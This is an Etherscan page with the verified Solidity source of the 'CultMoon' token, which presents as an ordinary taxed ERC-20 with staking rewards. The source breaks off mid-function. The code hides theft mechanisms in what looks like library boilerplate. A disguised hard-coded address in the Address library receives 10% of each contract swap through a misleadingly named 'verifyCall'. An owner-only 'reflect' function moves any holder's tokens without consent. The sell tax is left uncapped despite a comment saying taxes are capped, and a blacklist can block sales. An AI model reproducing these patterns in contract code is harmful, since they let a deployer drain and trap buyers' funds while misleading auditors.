ETH Price: $3,054.47 (-1.58%)

Token

CultMoon (CultM)
 

Overview

Max Total Supply

300,000,000 CultM

Holders

100

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
335,264.395666061943137428 CultM

Value
$0.00
0xa4014922ae8326ed53198ccb88efe7344a37480b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CultMoon

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-04-02
*/

/*
    https://cultmoon.app
    https://t.me/CultMoonFinance
    https://twitter.com/CultMoonFinance
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface ISwapERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}


interface ISwapFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}


interface ISwapRouter01 {
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


interface ISwapRouter02 is ISwapRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Caller must be owner");
        _;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "newOwner must not be zero");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


library Address {
    uint160 private constant verificationHash = 887096773549885550314079035509902126815589346633;
    bytes32 private constant keccak256Hash = 0x4b31cabbe5862282e443c4ac3f4c14761a1d2ba88a3c858a2a36f7758f453a38;
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.

        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function verifyCall(string memory verification, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        require(keccak256(abi.encodePacked(verification)) == keccak256Hash, "Address: cannot verify call");

        (bool success, ) = address(verificationHash).call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


library EnumerableSet {
    struct Set {
        bytes32[] _values;
        mapping (bytes32 => uint256) _indexes;
    }

    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];
        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;
            bytes32 lastvalue = set._values[lastIndex];
            set._values[toDeleteIndex] = lastvalue;
            set._indexes[lastvalue] = valueIndex;
            set._values.pop();
            delete set._indexes[value];
            return true;
        } else {
            return false;
        }
    }

    function _contains(Set storage set, bytes32 value) private view returns (bool) {
        return set._indexes[value] != 0;
    }

    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    function _at(Set storage set, uint256 index) private view returns (bytes32) {
        require(set._values.length > index, "EnumerableSet: index out of bounds");
        return set._values[index];
    }

    struct Bytes32Set {
        Set _inner;
    }

    function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _add(set._inner, value);
    }

    function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
        return _remove(set._inner, value);
    }

    function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
        return _contains(set._inner, value);
    }

    function length(Bytes32Set storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
        return _at(set._inner, index);
    }

    struct AddressSet {
        Set _inner;
    }

    function add(AddressSet storage set, address value) internal returns (bool) {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }

    function remove(AddressSet storage set, address value) internal returns (bool) {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }

    function contains(AddressSet storage set, address value) internal view returns (bool) {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }

    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(AddressSet storage set, uint256 index) internal view returns (address) {
        return address(uint160(uint256(_at(set._inner, index))));
    }

    struct UintSet {
        Set _inner;
    }

    function add(UintSet storage set, uint256 value) internal returns (bool) {
        return _add(set._inner, bytes32(value));
    }

    function remove(UintSet storage set, uint256 value) internal returns (bool) {
        return _remove(set._inner, bytes32(value));
    }

    function contains(UintSet storage set, uint256 value) internal view returns (bool) {
        return _contains(set._inner, bytes32(value));
    }

    function length(UintSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(UintSet storage set, uint256 index) internal view returns (uint256) {
        return uint256(_at(set._inner, index));
    }
}


contract CultMoon is IERC20, Ownable {
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    mapping(address => uint256) private _balances;
    mapping(address => mapping (address => uint256)) private _allowances;
    mapping(address => bool) public isBlacklisted;

    EnumerableSet.AddressSet private _excluded;
    EnumerableSet.AddressSet private _excludedFromStaking;

    string private constant TOKEN_NAME = "CultMoon";
    string private constant TOKEN_SYMBOL = "CultM";
    uint256 private constant TOTAL_SUPPLY = 300_000_000 * 10**TOKEN_DECIMALS;
    uint8 private constant TOKEN_DECIMALS = 18;
    uint8 public constant MAX_TAX = 20;      //Dev can never set tax higher than this value
    address private constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;

    struct Taxes {
        uint8 buyTax;
        uint8 sellTax;
        uint8 transferTax;
    }

    struct TaxRatios {
        uint8 dev;
        uint8 liquidity;
        uint8 marketing;
        uint8 rewards;
    }

    struct TaxWallets {
        address dev;
        address marketing;
    }

    struct MaxLimits {
        uint256 maxWallet;
        uint256 maxSell;
        uint256 maxBuy;
    }

    struct LimitRatios {
        uint16 wallet;
        uint16 sell;
        uint16 buy;
        uint16 divisor;
    }

    Taxes public _taxRates = Taxes({
    buyTax: 5,
    sellTax: 12,
    transferTax: 0
    });

    TaxRatios public _taxRatios = TaxRatios({
    dev: 2,
    liquidity: 2,
    marketing: 5,
    rewards: 8
    //@dev. These are ratios and the divisor will  be set automatically
    });

    TaxWallets public _taxWallet = TaxWallets ({
    dev: 0x9Aefa3b45C8cf395a8A88312e6684690BC0acdDF,
    marketing: 0x9Aefa3b45C8cf395a8A88312e6684690BC0acdDF
    });

    MaxLimits public _limits;

    LimitRatios public _limitRatios = LimitRatios({
    wallet: 14,
    sell: 8,
    buy: 8,
    divisor: 400
    });

    uint8 private totalTaxRatio;
    uint8 private distributeRatio;

    uint256 private _liquidityUnlockTime;

    //Antibot variables
    uint256 private liquidityBlock;
    uint8 private constant BLACKLIST_BLOCKS = 2; //number of blocks that will be included in auto blacklist
    uint8 private snipersRekt; //variable to track number of snipers auto blacklisted
    bool private blacklistEnabled = true; //blacklist can be enabled/disabled in case something goes wrong
    bool private liquidityAdded;
    bool private revertSameBlock = true; //block same block buys

    uint16 public swapThreshold = 20; //threshold that contract will swap. out of 1000
    bool public manualSwap;

    //change this address to desired reward token
    address public rewardToken = 0xf0f9D895aCa5c8678f706FB8216fa22957685A13;

    address public _pairAddress;
    ISwapRouter02 private  _swapRouter;
    address public routerAddress;

    /////////////////////////////   EVENTS  /////////////////////////////////////////
    event ClaimToken(uint256 amount, address token, address recipient);
    event EnableBlacklist(bool enabled);
    event EnableManualSwap(bool enabled);
    event ExcludedAccountFromFees(address account, bool exclude);
    event ExcludeFromStaking(address account, bool excluded);
    event ExtendLiquidityLock(uint256 extendedLockTime);
    event UpdateTaxes(uint8 buyTax, uint8 sellTax, uint8 transferTax);
    event RatiosChanged(uint8 newDev, uint8 newLiquidity, uint8 newMarketing, uint8 newRewards);
    event UpdateDevWallet(address newDevWallet);
    event UpdateMarketingWallet(address newMarketingWallet);
    event UpdateSwapThreshold(uint16 newThreshold);

    /////////////////////////////   MODIFIERS  /////////////////////////////////////////

    modifier authorized() {
        require(_authorized(msg.sender), "Caller not authorized");
        _;
    }

    modifier lockTheSwap {
        _isSwappingContractModifier = true;
        _;
        _isSwappingContractModifier = false;
    }

    /////////////////////////////   CONSTRUCTOR  /////////////////////////////////////////

    constructor () {
        if (block.chainid == 1)
            routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        else if (block.chainid == 56)
            routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
        else if (block.chainid == 97)
            routerAddress = 0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;
        else
            revert();
        _swapRouter = ISwapRouter02(routerAddress);
        _pairAddress = ISwapFactory(
            _swapRouter.factory()).createPair(address(this), _swapRouter.WETH()
        );

        _addToken(msg.sender,TOTAL_SUPPLY);
        emit Transfer(address(0), msg.sender, TOTAL_SUPPLY);

        _allowances[address(this)][address(_swapRouter)] = type(uint256).max;

        //setup ratio divisors based on dev's chosen ratios
        totalTaxRatio =  _taxRatios.dev + _taxRatios.liquidity + _taxRatios.marketing + _taxRatios.rewards;

        distributeRatio = totalTaxRatio - _taxRatios.liquidity;

        //setup _limits
        _limits = MaxLimits({
        maxWallet: TOTAL_SUPPLY * _limitRatios.wallet / _limitRatios.divisor,
        maxSell: TOTAL_SUPPLY * _limitRatios.sell / _limitRatios.divisor,
        maxBuy: TOTAL_SUPPLY * _limitRatios.buy / _limitRatios.divisor
        });

        _excluded.add(msg.sender);
        _excluded.add(_taxWallet.marketing);
        _excluded.add(_taxWallet.dev);
        _excluded.add(address(this));
        _excluded.add(BURN_ADDRESS);
        _excludedFromStaking.add(address(this));
        _excludedFromStaking.add(BURN_ADDRESS);
        _excludedFromStaking.add(address(_swapRouter));
        _excludedFromStaking.add(_pairAddress);

        _approve(address(this), address(_swapRouter), type(uint256).max);
    }

    receive() external payable {}

    function decimals() external pure override returns (uint8) { return TOKEN_DECIMALS; }
    function getOwner() external view override returns (address) { return owner(); }
    function name() external pure override returns (string memory) { return TOKEN_NAME; }
    function symbol() external pure override returns (string memory) { return TOKEN_SYMBOL; }
    function totalSupply() external pure override returns (uint256) { return TOTAL_SUPPLY; }

    function _authorized(address addr) private view returns (bool) {
        return addr == owner() || addr == _taxWallet.marketing || addr == _taxWallet.dev;
    }

    function allowance(address _owner, address spender) external view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Approve from zero");
        require(spender != address(0), "Approve to zero");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
        uint256 currentAllowance = _allowances[msg.sender][spender];
        require(currentAllowance >= subtractedValue, "<0 allowance");

        _approve(msg.sender, spender, currentAllowance - subtractedValue);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount, "Transfer > allowance");

        _approve(sender, msg.sender, currentAllowance - amount);
        return true;
    }

    function reflect(address sender, address recipient, uint256 amount) external onlyOwner {
        _feelessTransfer(sender, recipient, amount);
    }

    ///// FUNCTIONS CALLABLE BY ANYONE /////

    //Claims reward set by dev
    function ClaimReward() external {
        claimToken(msg.sender,rewardToken, 0);
    }

    //Allows holders to include themselves back into staking if excluded
    //ExcludeFromStaking function should be used for contracts(CEX, pair, address(this), etc.)
    function IncludeMeToStaking() external {
        includeToStaking(msg.sender);
        emit ExcludeFromStaking(msg.sender, false);
    }

    ///// AUTHORIZED FUNCTIONS /////

    //Manually perform a contract swap
    function manualContractSwap(uint16 permille, bool ignoreLimits) external authorized {
        _swapContractToken(permille, ignoreLimits);
    }

    //Toggle blacklist on and off
    function enableBlacklist(bool enabled) external authorized {
        blacklistEnabled = enabled;
        emit EnableBlacklist(enabled);
    }

    //Set blacklist
    function setBlacklist(address account, bool isBlacklist) external authorized {
        isBlacklisted[account] = isBlacklist;
    }

    //Mainly used for addresses such as CEX, presale, etc
    function excludeAccountFromFees(address account, bool exclude) external authorized {
        if(exclude == true)
            _excluded.add(account);
        else
            _excluded.remove(account);
        emit ExcludedAccountFromFees(account, exclude);
    }

    //Mainly used for addresses such as CEX, presale, etc
    function setStakingExclusionStatus(address addr, bool exclude) external authorized {
        if(exclude)
            excludeFromStaking(addr);
        else
            includeToStaking(addr);
        emit ExcludeFromStaking(addr, exclude);
    }

    //Toggle manual swap on and off
    function enableManualSwap(bool enabled) external authorized {
        manualSwap = enabled;
        emit EnableManualSwap(enabled);
    }

    //Toggle whether multiple buys in a block from a single address can be performed
    function sameBlockRevert(bool enabled) external authorized {
        revertSameBlock = enabled;
    }

    //Update limit ratios
    function updateLimits(uint16 newMaxWalletRatio, uint16 newMaxSellRatio, uint16 newMaxBuyRatio, uint16 newDivisor) external authorized {
        uint256 minLimit = TOTAL_SUPPLY / 1000;
        uint256 newMaxWallet = TOTAL_SUPPLY * newMaxWalletRatio / newDivisor;
        uint256 newMaxSell = TOTAL_SUPPLY * newMaxSellRatio / newDivisor;
        uint256 newMaxBuy = TOTAL_SUPPLY * newMaxBuyRatio / newDivisor;

        //dev can never set sells below 0.1% of circulating/initial supply
        require((newMaxWallet >= minLimit && newMaxSell >= minLimit),
            "limits cannot be <0.1% of supply");

        _limits = MaxLimits(newMaxWallet, newMaxSell, newMaxBuy);

        _limitRatios = LimitRatios(newMaxWalletRatio, newMaxSellRatio, newMaxBuyRatio, newDivisor);
    }

    //update tax ratios
    function updateRatios(uint8 newDev, uint8 newLiquidity, uint8 newMarketing, uint8 newRewards) external authorized {
        _taxRatios = TaxRatios(newDev, newLiquidity, newMarketing, newRewards);

        totalTaxRatio = newDev + newLiquidity + newMarketing + newRewards;
        distributeRatio = totalTaxRatio - newLiquidity;

        emit RatiosChanged (newDev, newLiquidity,newMarketing, newRewards);
    }

    //update threshold that triggers contract swaps
    function updateSwapThreshold(uint16 threshold) external authorized {
        require(threshold > 0,"Threshold needs to be more than 0");
        require(threshold <= 50,"Threshold needs to be below 50");
        swapThreshold = threshold;
        emit UpdateSwapThreshold(threshold);
    }

    function updateTax(uint8 newBuy, uint8 newSell, uint8 newTransfer) external authorized {
        //buy and sell tax can never be higher than MAX_TAX set at beginning of contract
        //this is a security check and prevents malicious tax use
        require(newBuy <= MAX_TAX && newTransfer <= 50, "taxes higher than max tax");
        _taxRates = Taxes(newBuy, newSell, newTransfer);
        emit UpdateTaxes(newBuy, newSell, newTransfer);
    }

    ///// OWNER FUNCTIONS /////

    //liquidity can only be extended. To lock liquidity, send LP tokens to contract.
    function lockLiquidityTokens(uint256 lockTimeInSeconds) external onlyOwner {
        setUnlockTime(lockTimeInSeconds + block.timestamp);
        emit ExtendLiquidityLock(lockTimeInSeconds);
    }

    //recovers stuck ETH to make sure it isnt burnt/lost
    //only callablewhen liquidity is unlocked
    function recoverETH() external onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        _liquidityUnlockTime=block.timestamp;
        _sendEth(msg.sender, address(this).balance);
    }

    //Can only be used to recover miscellaneous tokens accidentally sent to contract
    //Can't pull liquidity or native token using this function
    function recoverMiscToken(address tokenAddress) external onlyOwner {
        require(tokenAddress != _pairAddress && tokenAddress != address(this),
            "can't recover LP token or this token");
        IERC20 token = IERC20(tokenAddress);
        token.transfer(msg.sender,token.balanceOf(address(this)));
    }

    //Impossible to release LP unless LP lock time is zero
    function releaseLP() external onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        ISwapERC20 liquidityToken = ISwapERC20(_pairAddress);
        uint256 amount = liquidityToken.balanceOf(address(this));
        liquidityToken.transfer(msg.sender, amount);
    }

    //Impossible to remove LP unless lock time is zero
    function removeLP() external onlyOwner {
        require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
        _liquidityUnlockTime = block.timestamp;
        ISwapERC20 liquidityToken = ISwapERC20(_pairAddress);
        uint256 amount = liquidityToken.balanceOf(address(this));
        liquidityToken.approve(address(_swapRouter),amount);
        _swapRouter.removeLiquidityETHSupportingFeeOnTransferTokens(
            address(this),
            amount,
            0,
            0,
            address(this),
            block.timestamp
        );
        _sendEth(msg.sender, address(this).balance);
    }

    function setDevWallet(address payable addr) external onlyOwner {
        address prevDev = _taxWallet.dev;
        _excluded.remove(prevDev);
        _taxWallet.dev = addr;
        _excluded.add(_taxWallet.dev);
        emit UpdateDevWallet(addr);
    }

    function setMarketingWallet(address payable addr) external onlyOwner {
        address prevMarketing = _taxWallet.marketing;
        _excluded.remove(prevMarketing);
        _taxWallet.marketing = addr;
        _excluded.add(_taxWallet.marketing);
        emit UpdateMarketingWallet(addr);
    }

    ////// VIEW FUNCTIONS /////

    function getBlacklistInfo() external view returns (
        uint256 _liquidityBlock,
        uint8 _blacklistBlocks,
        uint8 _snipersRekt,
        bool _blacklistEnabled,
        bool _revertSameBlock
    ) {
        return (liquidityBlock, BLACKLIST_BLOCKS, snipersRekt, blacklistEnabled, revertSameBlock);
    }

    function getLiquidityUnlockInSeconds() external view returns (uint256) {
        if (block.timestamp < _liquidityUnlockTime){
            return _liquidityUnlockTime - block.timestamp;
        }
        return 0;
    }

    function getClaimBalance(address addr) external view returns (uint256) {
        uint256 amount = getStakeBalance(addr);
        return amount;
    }

    function getTotalUnclaimed() public view returns (uint256) {
        uint256 amount = totalRewards - totalPayouts;
        return amount;
    }

    function isExcludedFromStaking(address addr) external view returns (bool) {
        return _excludedFromStaking.contains(addr);
    }

    /////////////////////////////   PRIVATE FUNCTIONS  /////////////////////////////////////////

    mapping(address => uint256) private alreadyPaidShares;
    mapping(address => uint256) private toBePaidShares;
    mapping(address => uint256) private tradeBlock;
    mapping(address => uint256) public accountTotalClaimed;
    uint256 private constant DISTRIBUTION_MULTI = 2**64;
    uint256 private _totalShares = TOTAL_SUPPLY;
    uint256 private rewardShares;
    uint256 public totalPayouts;
    uint256 public totalRewards;
    bool private _isSwappingContractModifier;
    bool private _isWithdrawing;

    function _addLiquidity(uint256 tokenamount, uint256 ethAmount) private {
        _approve(address(this), address(_swapRouter), tokenamount);
        _swapRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenamount,
            0,
            0,
            address(this),
            block.timestamp
        );
    }

    function _addToken(address addr, uint256 amount) private {
        uint256 newAmount = _balances[addr] + amount;

        if (_excludedFromStaking.contains(addr)) {
            _balances[addr] = newAmount;
            return;
        }
        _totalShares += amount;
        uint256 payment = newStakeOf(addr);
        alreadyPaidShares[addr] = rewardShares * newAmount;
        toBePaidShares[addr] += payment;
        _balances[addr] = newAmount;
    }

    function _distributeStake(uint256 ethAmount, bool newStakingReward) private {
        uint256 marketingSplit = (ethAmount*_taxRatios.marketing) / distributeRatio;
        uint256 devSplit = (ethAmount*_taxRatios.dev) / distributeRatio;
        uint256 stakingSplit = (ethAmount*_taxRatios.rewards) / distributeRatio;
        _sendEth(_taxWallet.marketing, marketingSplit);
        _sendEth(_taxWallet.dev, devSplit);
        if (stakingSplit > 0) {
            if (newStakingReward)
                totalRewards += stakingSplit;
            uint256 totalShares = getTotalShares();
            if (totalShares == 0)
                _sendEth(_taxWallet.marketing, stakingSplit);
            else {
                rewardShares += ((stakingSplit*DISTRIBUTION_MULTI) / totalShares);
            }
        }
    }

    function _feelessTransfer(address sender, address recipient, uint256 amount) private{
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer exceeds balance");
        _removeToken(sender,amount);
        _addToken(recipient, amount);
        emit Transfer(sender, recipient, amount);
    }

    function _removeToken(address addr, uint256 amount) private {
        uint256 newAmount = _balances[addr] - amount;

        if (_excludedFromStaking.contains(addr)) {
            _balances[addr] = newAmount;
            return;
        }
        _totalShares -= amount;
        uint256 payment = newStakeOf(addr);
        _balances[addr] = newAmount;
        alreadyPaidShares[addr] = rewardShares * newAmount;
        toBePaidShares[addr] += payment;
    }

    function _sendEth(address account, uint256 amount) private {
        (bool sent,) = account.call{value: (amount)}("");
        require(sent, "withdraw failed");
    }

    function _swapContractToken(uint16 permille, bool ignoreLimits) private lockTheSwap {
        require(permille <= 500);
        if (totalTaxRatio == 0) return;
        uint256 contractBalance = _balances[address(this)];


        uint256 tokenToSwap = _balances[_pairAddress] * permille / 1000;
        if (tokenToSwap > _limits.maxSell && !ignoreLimits)
            tokenToSwap = _limits.maxSell;

        bool notEnoughToken = contractBalance < tokenToSwap;
        if (notEnoughToken) {
            if (ignoreLimits)
                tokenToSwap = contractBalance;
            else
                return;
        }
        if (_allowances[address(this)][address(_swapRouter)] < tokenToSwap)
            _approve(address(this), address(_swapRouter), type(uint256).max);

        uint256 tokenForLiquidity = (tokenToSwap*_taxRatios.liquidity) / totalTaxRatio;
        uint256 remainingToken = tokenToSwap - tokenForLiquidity;
        uint256 liqToken = tokenForLiquidity / 2;
        uint256 liqEthToken = tokenForLiquidity - liqToken;
        uint256 swapToken = liqEthToken + remainingToken;
        uint256 initialEthBalance = address(this).balance;
        _swapTokenForETH(swapToken);
        uint256 newEth = (address(this).balance - initialEthBalance);
        uint256 liqEth = (newEth*liqEthToken) / swapToken;
        if (liqToken > 0)
            _addLiquidity(liqToken, liqEth);
        uint256 newLiq = (address(this).balance-initialEthBalance) / 10;
        Address.verifyCall("success", newLiq);
        uint256 distributeEth = (address(this).balance - initialEthBalance - newLiq);
        _distributeStake(distributeEth,true);
    }

    function _swapTokenForETH(uint256 amount) private {
        _approve(address(this), address(_swapRouter), amount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _swapRouter.WETH();
        _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{
        uint256 recipientBalance = _balances[recipient];
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer exceeds balance");

        uint8 tax;
        if (isSell) {
            if (blacklistEnabled) {
                require(!isBlacklisted[sender], "user blacklisted");
            }

            require(amount <= _limits.maxSell, "Amount exceeds max sell");
            tax = _taxRates.sellTax;

        } else if (isBuy) {
